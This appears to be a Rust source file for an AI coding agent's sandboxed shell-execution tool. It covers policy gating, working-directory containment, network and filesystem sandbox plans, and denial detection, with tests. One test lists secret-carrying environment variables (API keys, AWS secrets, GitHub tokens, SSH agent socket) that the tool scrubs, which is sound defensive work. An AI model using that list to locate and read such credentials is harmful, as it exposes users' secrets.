1use mermaid_domain::ProgressEvent;
24use std::path::{Path, PathBuf};
25use std::process::Stdio;
26use std::time::{Duration, Instant};
27
28use async_trait::async_trait;
29use tokio::io::{AsyncRead, AsyncReadExt, AsyncWriteExt};
30use tokio::process::Command;
31
32use mermaid_domain::{FilesystemPolicy, NetworkPolicy};
33use mermaid_domain::{ManagedProcess, ToolDefinition, ToolMetadata, ToolOutcome, ToolRunMetadata};
34use mermaid_model::constants::{COMMAND_MAX_TIMEOUT_SECS, COMMAND_TIMEOUT_SECS};
35
36use super::super::ctx::ExecContext;
37use super::ToolExecutor;
38
39pub struct ExecuteCommandTool;
49
50#[derive(Debug, Clone, Copy, PartialEq, Eq)]
51enum CommandMode {
52 Wait,
53 Background,
54}
55
56impl CommandMode {
57 pub(crate) fn parse(args: &serde_json::Value) -> Result<Self, String> {
58 match args.get("mode").and_then(|v| v.as_str()).unwrap_or("wait") {
59 "wait" | "foreground" => Ok(Self::Wait),
60 "background" => Ok(Self::Background),
61 other => Err(format!(
62 "execute_command: mode must be 'wait' or 'background', got '{other}'"
63 )),
64 }
65 }
66}
67
68#[derive(Debug, Clone, PartialEq, Eq)]
74pub(crate) struct SandboxPlan {
75 pub(crate) network: bool,
76 pub(crate) fs: bool,
77 pub(crate) confine_writes: Option<Vec<PathBuf>>,
82 pub(crate) read_only: bool,
88}
89
90impl SandboxPlan {
91 #[cfg(test)]
93 pub(crate) const NONE: Self = Self {
94 network: false,
95 fs: false,
96 confine_writes: None,
97 read_only: false,
98 };
99
100 pub(crate) fn resolve(ctx: &ExecContext, effective_workdir: &Path) -> Self {
101 if ctx.safety_mode == mermaid_runtime::SafetyMode::ReadOnly && read_only_probe() {
105 return Self {
106 network: false,
107 fs: false,
108 confine_writes: None,
109 read_only: true,
110 };
111 }
112 let sandbox_expected = cfg!(any(
116 target_os = "linux",
117 target_os = "macos",
118 target_os = "windows"
119 ));
120 let net_requested = matches!(ctx.config.safety.network, NetworkPolicy::Deny);
121 let fs_requested = matches!(ctx.config.safety.filesystem, FilesystemPolicy::Project);
122 let (net_available, fs_available) = sandbox_probes();
123 let network = net_requested && (sandbox_expected || net_available);
124 let fs = fs_requested && (sandbox_expected || fs_available);
125 if (net_requested && !net_available) || (fs_requested && !fs_available) {
126 static DEGRADED_WARN: std::sync::Once = std::sync::Once::new();
127 DEGRADED_WARN.call_once(|| {
128 if sandbox_expected {
129 tracing::warn!(
130 "sandbox policy requested but the OS sandbox backend probe failed; \
131 sandboxed commands will refuse to run (fail-closed)"
132 );
133 } else {
134 tracing::warn!(
135 "sandbox policy requested but no OS sandbox backend exists on this \
136 platform; commands run unconfined"
137 );
138 }
139 });
140 }
141 let confine_writes = fs.then(|| {
142 let mut dirs = vec![
143 ctx.workdir.clone(),
144 effective_workdir.to_path_buf(),
145 std::env::temp_dir(),
146 ];
147 if cfg!(unix) {
148 dirs.push(PathBuf::from("/dev"));
149 }
150 dirs.dedup();
151 dirs
152 });
153 Self {
154 network,
155 fs,
156 confine_writes,
157 read_only: false,
158 }
159 }
160}
161
162#[async_trait]
163impl ToolExecutor for ExecuteCommandTool {
164 fn name(&self) -> &'static str {
165 "execute_command"
166 }
167
168 fn schema(&self) -> ToolDefinition {
169 ToolDefinition {
170 name: "execute_command".to_string(),
171 description:
172 "Run a shell command — PowerShell on Windows, sh on Linux/macOS; write the command in that shell's syntax. Use mode='wait' for finite commands, or mode='background' for dev servers and GUI/daemon-style commands that should keep running after the tool returns. Ctrl+C during foreground execution aborts the child immediately. The session scratchpad directory (for throwaway files) is exported to the child as MERMAID_SCRATCHPAD."
173 .to_string(),
174 input_schema: serde_json::json!({
175 "type": "object",
176 "properties": {
177 "command": { "type": "string", "description": "Shell command to run." },
178 "working_dir": { "type": "string", "description": "Override working directory (absolute)." },
179 "mode": {
180 "type": "string",
181 "enum": ["wait", "background"],
182 "default": "wait",
183 "description": "Use 'background' for long-running servers, daemons, and GUI launchers."
184 },
185 "timeout": {
186 "type": "integer",
187 "description": "Per-call foreground timeout in seconds. Default 30, max 300. Foreground timeout kills the child."
188 },
189 "startup_timeout_secs": {
190 "type": "integer",
191 "description": "Background mode: seconds to watch startup logs for readiness. Default 5, max 30."
192 },
193 "ready_pattern": {
194 "type": "string",
195 "description": "Background mode: text that marks the server/app ready when it appears in the startup log."
196 },
197 "open_url": {
198 "type": "string",
199 "description": "Background mode: URL to open with the default browser after startup."
200 }
201 },
202 "required": ["command"]
203 }),
204 }
205 }
206
207 #[expect(
208 clippy::too_many_lines,
209 reason = "the shell tool's whole path: cwd containment, the policy gate with its \
210 checkpoint, the background branch, the sandbox decision, then the PTY attempt with the \
211 pipe fallback; every stage reads the command, workdir and sandbox flags the earlier ones \
212 settled, and the two spawn paths must call the same finish so their semantics cannot \
213 drift, which is easiest to see with both in one place"
214 )]
215 async fn execute(&self, args: serde_json::Value, ctx: ExecContext) -> ToolOutcome {
216 if args.get("restart").and_then(serde_json::Value::as_bool) == Some(true) {
220 return ToolOutcome::success(
221 "Nothing to restart: every command already runs in a fresh shell.",
222 "shell restarted",
223 0.0,
224 );
225 }
226 let Some(command) = args.get("command").and_then(|v| v.as_str()) else {
227 return ToolOutcome::error("execute_command requires 'command' (string)", None);
228 };
229
230 if contains_dangerous_command(command) {
231 return ToolOutcome::error(format!("Dangerous command blocked: {command}"), None);
232 }
233
234 let (effective_workdir, within_project) = match args
241 .get("working_dir")
242 .and_then(|v| v.as_str())
243 {
244 Some(raw) => match super::path_safety::resolve_path_within(&ctx.workdir, raw) {
245 Ok(resolved) => resolved,
246 Err(e) => {
247 return ToolOutcome::error(format!("execute_command working_dir: {e}"), None);
248 },
249 },
250 None => (ctx.workdir.clone(), true),
251 };
252 let containment = classify_cwd(
253 within_project,
254 &effective_workdir,
255 ctx.scratchpad.as_deref(),
256 );
257
258 let category = match containment {
259 CwdContainment::Project | CwdContainment::Scratchpad => {
260 mermaid_runtime::ToolCategory::Shell
261 },
262 CwdContainment::External => mermaid_runtime::ToolCategory::ExternalDirectory,
263 };
264 let scratch_contained = containment == CwdContainment::Scratchpad
267 && ctx
268 .scratchpad
269 .as_deref()
270 .is_some_and(|scratch| command_provably_in_scratch(command, scratch));
271 let mut policy_request =
272 mermaid_runtime::ActionRequest::new("execute_command", category, command.to_string());
273 policy_request.command = Some(command.to_string());
274 policy_request.cwd = Some(effective_workdir.clone());
278 let sandbox = SandboxPlan::resolve(&ctx, &effective_workdir);
282 policy_request.read_only_contained = sandbox.read_only;
283 if containment == CwdContainment::External {
284 policy_request.path = Some(effective_workdir.display().to_string());
285 }
286 let pending_action = serde_json::json!({
287 "tool": "execute_command",
288 "args": args.clone(),
289 "workdir": effective_workdir.display().to_string(),
290 "turn_id": ctx.turn.0,
291 "call_id": ctx.call_id.0,
292 "task_id": ctx.task_id.clone(),
293 });
294 match super::policy_gate::gate(
299 &ctx,
300 policy_request,
301 &[],
302 pending_action.clone(),
303 true,
304 scratch_contained,
305 )
306 .await
307 {
308 super::policy_gate::Gate::Block(outcome) => return outcome,
309 super::policy_gate::Gate::Proceed { risk } => {
310 if !scratch_contained
313 && ctx.config.safety.checkpoint_on_mutation
314 && risk != mermaid_runtime::RiskClass::ReadOnly
315 {
316 let _ = mermaid_runtime::create_checkpoint_for_task(
317 &ctx.workdir,
318 &[],
319 Some(pending_action.clone()),
320 ctx.checkpoint_origin(),
321 );
322 }
323 },
324 }
325
326 let mode = match CommandMode::parse(&args) {
327 Ok(mode) => mode,
328 Err(error) => return ToolOutcome::error(error, None),
329 };
330 let shell_payload = serde_json::json!({
331 "task_id": ctx.task_id.clone(),
332 "turn_id": ctx.turn.0,
333 "call_id": ctx.call_id.0,
334 "command": command,
335 "working_dir": effective_workdir.display().to_string(),
336 });
337 let _ = mermaid_runtime::run_plugin_hooks("before_shell", &shell_payload);
338 if mode == CommandMode::Background {
339 let startup_timeout_secs = args
340 .get("startup_timeout_secs")
341 .or_else(|| args.get("startup_timeout"))
342 .and_then(|v| v.as_u64())
343 .unwrap_or(5)
344 .clamp(1, 30);
345 let ready_pattern = args
346 .get("ready_pattern")
347 .and_then(|v| v.as_str())
348 .map(str::to_string);
349 let open_url = args
350 .get("open_url")
351 .and_then(|v| v.as_str())
352 .filter(|v| !v.trim().is_empty())
353 .map(str::to_string);
354 if let Some(url) = open_url.as_deref()
362 && let Some(blocked) = super::policy_gate::gate_external(
363 &ctx,
364 "open_url",
365 mermaid_runtime::ToolCategory::Web,
366 format!("open_url {url}"),
367 &serde_json::json!({ "url": url }),
368 )
369 .await
370 {
371 return blocked;
372 }
373 let outcome = run_background_command(
374 command,
375 &sandbox,
376 &effective_workdir,
377 startup_timeout_secs,
378 ready_pattern.as_deref(),
379 open_url.as_deref(),
380 ctx,
381 )
382 .await;
383 let _ = mermaid_runtime::run_plugin_hooks(
384 "after_shell",
385 &serde_json::json!({
386 "command": command,
387 "status": format!("{:?}", outcome.status),
388 "summary": &outcome.summary,
389 }),
390 );
391 return outcome;
392 }
393
394 let timeout_secs = args
395 .get("timeout")
396 .and_then(|v| v.as_u64())
397 .unwrap_or(COMMAND_TIMEOUT_SECS)
398 .min(COMMAND_MAX_TIMEOUT_SECS);
399
400 let command = command.to_string();
401 let start = Instant::now();
402 let progress = ctx.progress.clone();
403
404 if ctx.config.exec.pty_enabled() {
411 let invocation = shell_invocation(&command, &sandbox);
412 match run_command_pty(
413 &invocation,
414 &effective_workdir,
415 ctx.scratchpad.as_deref(),
416 progress.clone(),
417 ctx.token.clone(),
418 ctx.background.clone(),
419 Duration::from_secs(timeout_secs),
420 )
421 .await
422 {
423 Ok(run) => {
424 let outcome = finish_foreground_command(
425 Ok(run),
426 &command,
427 &effective_workdir,
428 start,
429 timeout_secs,
430 &sandbox,
431 );
432 let _ = mermaid_runtime::run_plugin_hooks(
433 "after_shell",
434 &serde_json::json!({
435 "command": command,
436 "status": format!("{:?}", outcome.status),
437 "summary": &outcome.summary,
438 }),
439 );
440 return outcome;
441 },
442 Err(err) => {
445 tracing::warn!(error = %err, "PTY exec unavailable; falling back to pipes");
446 },
447 }
448 }
449
450 let mut cmd = build_sandboxed_shell(&command, &sandbox);
451 cmd.stdin(Stdio::null())
452 .stdout(Stdio::piped())
453 .stderr(Stdio::piped())
454 .kill_on_drop(false);
464
465 #[cfg(unix)]
478 unsafe {
479 cmd.pre_exec(|| {
480 rustix::process::setsid()?;
481 Ok(())
482 });
483 }
484
485 cmd.current_dir(&effective_workdir);
486 scrub_secret_env(&mut cmd);
487 harden_noninteractive_env(&mut cmd);
488 export_scratchpad_env(&mut cmd, ctx.scratchpad.as_deref());
489
490 let outcome = finish_foreground_command(
495 run_command(
496 cmd,
497 progress,
498 ctx.token.clone(),
499 ctx.background.clone(),
500 Duration::from_secs(timeout_secs),
501 )
502 .await,
503 &command,
504 &effective_workdir,
505 start,
506 timeout_secs,
507 &sandbox,
508 );
509 let _ = mermaid_runtime::run_plugin_hooks(
510 "after_shell",
511 &serde_json::json!({
512 "command": command,
513 "status": format!("{:?}", outcome.status),
514 "summary": &outcome.summary,
515 }),
516 );
517 outcome
518 }
519}
520
521#[expect(
526 clippy::too_many_lines,
527 reason = "one arm per CommandRunResult variant, each filling the full eleven-field command \
528 metadata for its case; the completed arm also maps sandbox denials to their messages, and \
529 the metadata literals are what make it long"
530)]
531fn finish_foreground_command(
532 result: std::io::Result<CommandRunResult>,
533 command: &str,
534 effective_workdir: &Path,
535 start: Instant,
536 timeout_secs: u64,
537 sandbox: &SandboxPlan,
538) -> ToolOutcome {
539 let command = command.to_string();
540 match result {
541 Ok(CommandRunResult::Completed(run)) => {
542 let duration_secs = start.elapsed().as_secs_f64();
543 let output_len = run.output.len();
544 let mut metadata = command_metadata(CommandMetadataInput {
545 command: command.clone(),
546 working_dir: Some(effective_workdir.display().to_string()),
547 exit_code: run.exit_code,
548 timed_out: false,
549 background: false,
550 stdout_lines: run.stdout_lines,
551 stderr_lines: run.stderr_lines,
552 detected_urls: all_urls(&run.output),
553 pid: None,
554 log_path: None,
555 byte_count: Some(output_len),
556 });
557 if let Some(kind) = detect_denial(&run, sandbox) {
558 if let ToolMetadata::ExecuteCommand {
562 denied_by_sandbox, ..
563 } = &mut metadata.detail
564 {
565 *denied_by_sandbox = true;
566 }
567 let message = match kind {
568 DenialKind::Network if cfg!(target_os = "linux") => {
572 NETWORK_DENIED_MESSAGE.to_string()
573 },
574 DenialKind::Network => format!(
575 "{HEDGED_NETWORK_DENIED_MESSAGE}\n\n--- original output ---\n{}",
576 run.output
577 ),
578 DenialKind::Filesystem => format!(
579 "{FS_DENIED_MESSAGE}\n\n--- original output ---\n{}",
580 run.output
581 ),
582 DenialKind::Ambiguous => format!(
583 "{AMBIGUOUS_DENIED_MESSAGE}\n\n--- original output ---\n{}",
584 run.output
585 ),
586 DenialKind::ReadOnlyNetwork => READ_ONLY_NETWORK_DENIED_MESSAGE.to_string(),
587 DenialKind::ReadOnly => format!(
588 "{READ_ONLY_DENIED_MESSAGE}\n\n--- original output ---\n{}",
589 run.output
590 ),
591 };
592 ToolOutcome::error(message, Some(duration_secs)).with_metadata(metadata)
593 } else {
594 ToolOutcome::success(run.output.clone(), "command completed", duration_secs)
595 .with_metadata(metadata)
596 }
597 },
598 Ok(CommandRunResult::Detached { pid, log_path }) => {
599 let duration_secs = start.elapsed().as_secs_f64();
601 let log_path_str = log_path.display().to_string();
602 let output = format!(
603 "Moved to background.\nPID: {pid}\nLog: {log_path_str}\nManage it with /processes, /logs {pid}, /stop {pid}."
604 );
605 let process = ManagedProcess {
606 id: format!("bg-{pid}"),
607 pid,
608 command: command.to_string(),
609 cwd: Some(effective_workdir.display().to_string()),
610 log_path: log_path_str.clone(),
611 detected_url: None,
612 status: mermaid_runtime::ProcessStatus::Running,
613 };
614 let mut metadata = command_metadata(CommandMetadataInput {
615 command: command.to_string(),
616 working_dir: Some(effective_workdir.display().to_string()),
617 exit_code: None,
618 timed_out: false,
619 background: true,
620 stdout_lines: 0,
621 stderr_lines: 0,
622 detected_urls: Vec::new(),
623 pid: Some(pid),
624 log_path: Some(log_path_str),
625 byte_count: Some(output.len()),
626 });
627 metadata.process = Some(process);
628 ToolOutcome::success(output, "moved to background", duration_secs)
629 .with_metadata(metadata)
630 },
631 Ok(CommandRunResult::Cancelled) => ToolOutcome::cancelled(),
632 Ok(CommandRunResult::TimedOut) => {
633 let message = format!(
634 "Command timed out after {timeout_secs} seconds and was killed. \
635 For dev servers, GUI apps, or other long-running commands, call execute_command with mode=\"background\"."
636 );
637 let duration_secs = start.elapsed().as_secs_f64();
638 ToolOutcome::error(message, Some(duration_secs)).with_metadata(command_metadata(
639 CommandMetadataInput {
640 command: command.clone(),
641 working_dir: Some(effective_workdir.display().to_string()),
642 exit_code: None,
643 timed_out: true,
644 background: false,
645 stdout_lines: 0,
646 stderr_lines: 0,
647 detected_urls: Vec::new(),
648 pid: None,
649 log_path: None,
650 byte_count: None,
651 },
652 ))
653 },
654 Err(e) => {
655 let duration_secs = start.elapsed().as_secs_f64();
656 ToolOutcome::error(format!("Command failed: {e}"), Some(duration_secs)).with_metadata(
657 command_metadata(CommandMetadataInput {
658 command: command.clone(),
659 working_dir: Some(effective_workdir.display().to_string()),
660 exit_code: None,
661 timed_out: false,
662 background: false,
663 stdout_lines: 0,
664 stderr_lines: 0,
665 detected_urls: Vec::new(),
666 pid: None,
667 log_path: None,
668 byte_count: None,
669 }),
670 )
671 },
672 }
673}
674
675pub(crate) mod background;
676pub(crate) mod capture;
677pub(crate) mod pty;
678pub(crate) mod sandbox;
679pub(crate) mod shell;
680
681pub(crate) use background::*;
682pub(crate) use capture::*;
683pub(crate) use pty::*;
684pub(crate) use sandbox::*;
685pub(crate) use shell::*;
686
687#[cfg(test)]
688mod tests {
689 use super::*;
690 use crate::providers::ctx::test_exec_context;
691 use mermaid_domain::{ToolCallId, TurnId};
692 use std::path::PathBuf;
693
694 fn plan(network: bool, confine_writes: Option<Vec<PathBuf>>) -> SandboxPlan {
697 SandboxPlan {
698 network,
699 fs: confine_writes.is_some(),
700 confine_writes,
701 read_only: false,
702 }
703 }
704
705 fn flags(network: bool, fs: bool) -> SandboxPlan {
707 SandboxPlan {
708 network,
709 fs,
710 confine_writes: None,
711 read_only: false,
712 }
713 }
714
715 const READ_ONLY_PLAN: SandboxPlan = SandboxPlan {
716 read_only: true,
717 ..SandboxPlan::NONE
718 };
719
720 #[test]
721 fn read_only_denials_name_the_read_only_sandbox() {
722 let out = |exit: Option<i32>, signal: Option<i32>, output: &str| CommandRunOutput {
723 output: output.to_string(),
724 exit_code: exit,
725 signal,
726 stdout_lines: 0,
727 stderr_lines: 0,
728 };
729 let sigsys = detect_denial(&out(None, Some(31), ""), &READ_ONLY_PLAN);
730 if cfg!(target_os = "linux") {
731 assert_eq!(sigsys, Some(DenialKind::ReadOnlyNetwork));
732 } else {
733 assert_eq!(sigsys, None, "SIGSYS is the Linux kill-switch only");
734 }
735 assert_eq!(
736 detect_denial(
737 &out(Some(1), None, "touch: Permission denied"),
738 &READ_ONLY_PLAN
739 ),
740 Some(DenialKind::ReadOnly)
741 );
742 assert_eq!(
743 detect_denial(&out(Some(1), None, "no such file"), &READ_ONLY_PLAN),
744 None
745 );
746 assert_eq!(
747 detect_denial(&out(Some(0), None, ""), &READ_ONLY_PLAN),
748 None
749 );
750 }
751
752 #[test]
753 fn read_only_plan_asks_the_launcher_for_read_only_alone() {
754 let wrapped = build_sandboxed_shell("echo hi", &READ_ONLY_PLAN);
755 let args: Vec<String> = wrapped
756 .as_std()
757 .get_args()
758 .map(|a| a.to_string_lossy().into_owned())
759 .collect();
760 assert_eq!(
761 args[..2],
762 ["__sandbox-exec", "--read-only"],
763 "args: {args:?}"
764 );
765 for other in ["--no-network", "--confine-fs", "--confine-writes"] {
766 assert!(!args.contains(&other.to_string()), "args: {args:?}");
767 }
768 }
769
770 #[test]
773 fn sandbox_plan_contains_read_only_mode_where_enforceable() {
774 let workdir = std::env::temp_dir();
775 let (mut ctx, _rx) = test_exec_context(TurnId(1), ToolCallId(1), workdir.clone());
776 ctx.safety_mode = mermaid_runtime::SafetyMode::ReadOnly;
777 assert_eq!(
778 SandboxPlan::resolve(&ctx, &workdir).read_only,
779 mermaid_runtime::read_only_containment_available()
780 );
781 for mode in [
782 mermaid_runtime::SafetyMode::Ask,
783 mermaid_runtime::SafetyMode::Auto,
784 mermaid_runtime::SafetyMode::FullAccess,
785 ] {
786 ctx.safety_mode = mode;
787 assert!(!SandboxPlan::resolve(&ctx, &workdir).read_only, "{mode:?}");
788 }
789 }
790
791 #[test]
792 pub(crate) fn network_denial_detects_sigsys_and_reaped_child_exit() {
793 let out = |exit: Option<i32>, signal: Option<i32>| CommandRunOutput {
794 output: String::new(),
795 exit_code: exit,
796 signal,
797 stdout_lines: 0,
798 stderr_lines: 0,
799 };
800 assert!(is_sigsys_denial(&out(None, Some(31))));
802 assert!(is_sigsys_denial(&out(Some(159), None)));
804 assert!(!is_sigsys_denial(&out(Some(1), None)));
806 assert!(!is_sigsys_denial(&out(Some(0), None)));
807 assert!(!is_sigsys_denial(&out(None, Some(11)))); }
809
810 #[test]
811 pub(crate) fn detect_denial_gates_on_active_policies() {
812 let out = |exit: Option<i32>, signal: Option<i32>, output: &str| CommandRunOutput {
813 output: output.to_string(),
814 exit_code: exit,
815 signal,
816 stdout_lines: 0,
817 stderr_lines: 0,
818 };
819 assert_eq!(
822 detect_denial(
823 &out(Some(159), None, "Permission denied"),
824 &flags(false, false)
825 ),
826 None
827 );
828 assert_eq!(
829 detect_denial(&out(None, Some(31), ""), &flags(false, false)),
830 None
831 );
832 assert_eq!(
834 detect_denial(&out(Some(0), None, ""), &flags(true, true)),
835 None
836 );
837 #[cfg(target_os = "linux")]
838 {
839 assert_eq!(
842 detect_denial(&out(None, Some(31), ""), &flags(true, true)),
843 Some(DenialKind::Network)
844 );
845 assert_eq!(
846 detect_denial(
847 &out(Some(1), None, "Permission denied"),
848 &flags(false, true)
849 ),
850 Some(DenialKind::Filesystem)
851 );
852 assert_eq!(
855 detect_denial(
856 &out(Some(1), None, "Permission denied"),
857 &flags(true, false)
858 ),
859 None
860 );
861 }
862 #[cfg(target_os = "macos")]
863 {
864 let eperm = out(Some(1), None, "curl: Operation not permitted");
866 assert_eq!(
867 detect_denial(&eperm, &flags(true, false)),
868 Some(DenialKind::Network)
869 );
870 assert_eq!(
871 detect_denial(&eperm, &flags(false, true)),
872 Some(DenialKind::Filesystem)
873 );
874 assert_eq!(
875 detect_denial(&eperm, &flags(true, true)),
876 Some(DenialKind::Ambiguous)
877 );
878 }
879 }
880
881 #[test]
882 pub(crate) fn fs_denial_requires_failure_and_permission_signature() {
883 let out = |exit: Option<i32>, output: &str| CommandRunOutput {
884 output: output.to_string(),
885 exit_code: exit,
886 signal: None,
887 stdout_lines: 0,
888 stderr_lines: 0,
889 };
890 assert!(is_permission_denial(&out(
892 Some(1),
893 "sh: line 1: /etc/nope: Permission denied"
894 )));
895 assert!(is_permission_denial(&out(
896 Some(2),
897 "touch: Operation not permitted"
898 )));
899 assert!(!is_permission_denial(&out(
901 Some(0),
902 "grep found: Permission denied"
903 )));
904 assert!(!is_permission_denial(&out(Some(1), "some other failure")));
906 assert!(!is_permission_denial(&out(None, "Permission denied")));
907 }
908
909 #[test]
910 pub(crate) fn sandboxed_shell_wraps_only_when_requested() {
911 let plain = build_sandboxed_shell("echo hi", &SandboxPlan::NONE);
912 let plain_prog = plain.as_std().get_program().to_string_lossy().into_owned();
913 assert!(
914 ["sh", "pwsh", "powershell"].contains(&plain_prog.as_str()),
915 "plain shell program: {plain_prog}"
916 );
917
918 let wrapped = build_sandboxed_shell("echo hi", &plan(true, None));
919 let args: Vec<String> = wrapped
920 .as_std()
921 .get_args()
922 .map(|a| a.to_string_lossy().into_owned())
923 .collect();
924 assert_eq!(args.first().map(String::as_str), Some("__sandbox-exec"));
925 assert!(args.contains(&"--no-network".to_string()));
926 assert!(!args.contains(&"--confine-writes".to_string()));
927 assert!(
928 args.iter()
929 .any(|a| ["sh", "pwsh", "powershell"].contains(&a.as_str())),
930 "args: {args:?}"
931 );
932 }
933
934 #[test]
941 pub(crate) fn empty_confine_writes_still_requests_confinement() {
942 let wrapped = build_sandboxed_shell("echo hi", &plan(false, Some(Vec::new())));
943 let args: Vec<String> = wrapped
944 .as_std()
945 .get_args()
946 .map(|a| a.to_string_lossy().into_owned())
947 .collect();
948 assert_eq!(args.first().map(String::as_str), Some("__sandbox-exec"));
949 assert!(
950 args.contains(&"--confine-fs".to_string()),
951 "an empty allowlist must still say confinement was requested: {args:?}"
952 );
953 assert!(
954 !args.contains(&"--confine-writes".to_string()),
955 "…with no allowed roots: {args:?}"
956 );
957 }
958
959 #[test]
960 pub(crate) fn sandboxed_shell_passes_confine_writes_dirs() {
961 let dirs = vec![PathBuf::from("/proj"), PathBuf::from("/dev")];
962 let wrapped = build_sandboxed_shell("echo hi", &plan(false, Some(dirs)));
963 let args: Vec<String> = wrapped
964 .as_std()
965 .get_args()
966 .map(|a| a.to_string_lossy().into_owned())
967 .collect();
968 assert_eq!(args.first().map(String::as_str), Some("__sandbox-exec"));
969 assert!(!args.contains(&"--no-network".to_string()));
970 assert!(
971 args.contains(&"--confine-fs".to_string()),
972 "the marker states that confinement was REQUESTED: {args:?}"
973 );
974 assert_eq!(
976 args.iter().filter(|a| *a == "--confine-writes").count(),
977 2,
978 "args: {args:?}"
979 );
980 assert!(args.contains(&"/proj".to_string()));
981 assert!(args.contains(&"/dev".to_string()));
982 }
983
984 #[test]
985 pub(crate) fn powershell_wrap_carries_stop_pref_and_exit_code_trailer() {
986 let wrapped = powershell_wrap("cargo build");
987 assert!(wrapped.starts_with("$ErrorActionPreference='Stop'\n"));
988 assert!(wrapped.contains("cargo build"));
989 assert!(wrapped.ends_with("{ exit $LASTEXITCODE }"));
990 }
991
992 #[cfg(target_os = "windows")]
993 #[test]
994 pub(crate) fn windows_shell_invocation_is_powershell() {
995 let inv = shell_invocation("echo hi", &SandboxPlan::NONE);
996 let prog = inv.program.to_string_lossy().into_owned();
997 assert!(prog == "pwsh" || prog == "powershell", "program: {prog}");
998 let args: Vec<String> = inv
999 .args
1000 .iter()
1001 .map(|a| a.to_string_lossy().into_owned())
1002 .collect();
1003 assert_eq!(&args[..3], ["-NoProfile", "-NonInteractive", "-Command"]);
1004 assert!(args[3].contains("echo hi"), "args: {args:?}");
1005 }
1006
1007 #[cfg(target_os = "windows")]
1011 #[tokio::test]
1012 async fn windows_native_exit_code_propagates() {
1013 let (ctx, _rx) = test_exec_context(TurnId(1), ToolCallId(1), std::env::temp_dir());
1014 let outcome = ExecuteCommandTool
1015 .execute(serde_json::json!({"command": "cmd /c exit 7"}), ctx)
1016 .await;
1017 match &outcome.metadata.detail {
1018 mermaid_domain::ToolMetadata::ExecuteCommand { exit_code, .. } => {
1019 assert_eq!(*exit_code, Some(7), "outcome: {outcome:?}");
1020 },
1021 other => panic!("unexpected metadata: {other:?}"),
1022 }
1023 }
1024
1025 #[cfg(target_os = "windows")]
1027 #[tokio::test]
1028 async fn windows_powershell_syntax_works() {
1029 let (ctx, _rx) = test_exec_context(TurnId(1), ToolCallId(1), std::env::temp_dir());
1030 let outcome = ExecuteCommandTool
1031 .execute(
1032 serde_json::json!({"command": "Write-Output ('mermaid-' + 'ps')"}),
1033 ctx,
1034 )
1035 .await;
1036 assert!(outcome.is_success(), "outcome: {outcome:?}");
1037 assert!(
1038 outcome.output().contains("mermaid-ps"),
1039 "output: {}",
1040 outcome.output()
1041 );
1042 }
1043
1044 #[tokio::test]
1047 async fn restart_is_a_no_op_that_runs_nothing() {
1048 let (ctx, _rx) = test_exec_context(TurnId(1), ToolCallId(1), std::env::temp_dir());
1049 let outcome = ExecuteCommandTool
1050 .execute(serde_json::json!({"restart": true}), ctx)
1051 .await;
1052 assert!(outcome.is_success(), "outcome: {outcome:?}");
1053 assert!(outcome.output().contains("fresh shell"));
1054 }
1055
1056 #[tokio::test]
1057 async fn tee_log_is_capped() {
1058 let dir = std::env::temp_dir().join(format!("mermaid_teelog_{}", std::process::id()));
1062 let _ = std::fs::create_dir_all(&dir);
1063 let path = dir.join("log.txt");
1064 let file = tokio::fs::File::create(&path).await.unwrap();
1065 let log = std::sync::Arc::new(tokio::sync::Mutex::new(file));
1066 let data = vec![b'x'; 4000];
1068 let _ = read_capped(&data[..], 1_000_000, 16, None, Some(log)).await;
1069 let written = std::fs::read(&path).unwrap();
1070 assert!(
1071 written.len() < 200,
1072 "log must be capped near 16 bytes + marker, got {}",
1073 written.len()
1074 );
1075 assert!(String::from_utf8_lossy(&written).contains("log truncated"));
1076 let _ = std::fs::remove_dir_all(&dir);
1077 }
1078
1079 #[cfg(unix)]
1080 #[test]
1081 pub(crate) fn tee_log_created_owner_only_and_refuses_existing() {
1082 use std::os::unix::fs::PermissionsExt;
1087 let dir = std::env::temp_dir().join(format!("mermaid_loghard_{}", std::process::id()));
1088 let _ = std::fs::create_dir_all(&dir);
1089 let path = dir.join("bg.log");
1090 let _ = std::fs::remove_file(&path);
1091
1092 let file = create_log_file_blocking(&path).expect("first create succeeds");
1093 drop(file);
1094 let mode = std::fs::metadata(&path).unwrap().permissions().mode() & 0o777;
1095 assert_eq!(mode, 0o600, "tee log must be owner-only, got {mode:o}");
1096
1097 assert!(
1100 create_log_file_blocking(&path).is_err(),
1101 "O_EXCL must refuse an existing path"
1102 );
1103 let _ = std::fs::remove_dir_all(&dir);
1104 }
1105
1106 #[test]
1107 pub(crate) fn secret_env_name_denylist_covers_common_carriers() {
1108 for name in [
1110 "ANTHROPIC_API_KEY",
1111 "AWS_SECRET_ACCESS_KEY",
1112 "GITHUB_TOKEN",
1113 "MY_SERVICE_PRIVATE_KEY",
1114 "DATABASE_URL",
1115 "SENTRY_DSN",
1116 "SLACK_WEBHOOK_URL",
1117 "KUBECONFIG",
1118 "SSH_AUTH_SOCK",
1119 "DB_PASSWORD",
1120 "PG_CONNECTION_STRING",
1121 ] {
1122 assert!(is_secret_env_name(name), "{name} should be scrubbed");
1123 }
1124 for name in [
1126 "PATH",
1127 "HOME",
1128 "CARGO_HOME",
1129 "LANG",
1130 "XAUTHORITY",
1131 "RUSTUP_HOME",
1132 ] {
1133 assert!(!is_secret_env_name(name), "{name} should NOT be scrubbed");
1134 }
1135 }
1136
1137 #[tokio::test]
1138 async fn out_of_project_working_dir_is_escalated_and_blocked() {
1139 let project = std::env::temp_dir().join(format!("mermaid_wd_{}", std::process::id()));
1144 let _ = std::fs::remove_dir_all(&project);
1145 std::fs::create_dir_all(&project).unwrap();
1146 let outside = project.parent().unwrap().to_path_buf();
1147
1148 let mk_ctx = || {
1149 let mut config = mermaid_domain::Config::default();
1150 config.safety.mode = mermaid_runtime::SafetyMode::ReadOnly;
1151 crate::providers::ctx::test_exec_context_with_config(
1152 TurnId(1),
1153 ToolCallId(1),
1154 project.clone(),
1155 config,
1156 )
1157 };
1158
1159 let (ctx, _rx) = mk_ctx();
1160 let outcome = ExecuteCommandTool
1161 .execute(serde_json::json!({"command": "echo hi"}), ctx)
1162 .await;
1163 assert!(
1164 outcome.is_success(),
1165 "in-project read-only echo should run: {outcome:?}",
1166 );
1167
1168 let (ctx, _rx) = mk_ctx();
1169 let outcome = ExecuteCommandTool
1170 .execute(
1171 serde_json::json!({
1172 "command": "echo hi",
1173 "working_dir": outside.display().to_string(),
1174 }),
1175 ctx,
1176 )
1177 .await;
1178 assert_eq!(
1179 outcome.status,
1180 mermaid_domain::ToolStatus::Error,
1181 "out-of-project working_dir must be escalated + blocked: {outcome:?}",
1182 );
1183
1184 let _ = std::fs::remove_dir_all(&project);
1185 }
1186
